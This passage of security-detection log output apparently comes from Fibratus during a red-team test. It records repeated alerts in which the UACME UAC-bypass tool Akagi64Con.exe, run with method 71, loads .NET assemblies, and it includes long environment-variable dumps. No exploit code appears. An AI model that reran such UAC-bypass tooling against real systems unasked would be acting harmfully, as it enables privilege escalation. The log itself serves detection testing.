Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:17+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1670008 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.8180645 +0100 CET + Params: base_address➜ 7ffb3fda0000, checksum➜ 0, default_address➜ 7ffb3fda0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe, image_size➜ 3649536, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:23+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\5bbba28b4d75ff8862051e627a36d484\MSBuild.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1673595 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.1009513 +0100 CET + Params: base_address➜ 7ffb3ff60000, checksum➜ 0, default_address➜ 7ffb3ff60000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\5bbba28b4d75ff8862051e627a36d484\MSBuild.ni.exe, image_size➜ 1794048, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:23+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\5bbba28b4d75ff8862051e627a36d484\MSBuild.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1673595 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.1009513 +0100 CET + Params: base_address➜ 7ffb3ff60000, checksum➜ 0, default_address➜ 7ffb3ff60000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\5bbba28b4d75ff8862051e627a36d484\MSBuild.ni.exe, image_size➜ 1794048, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + 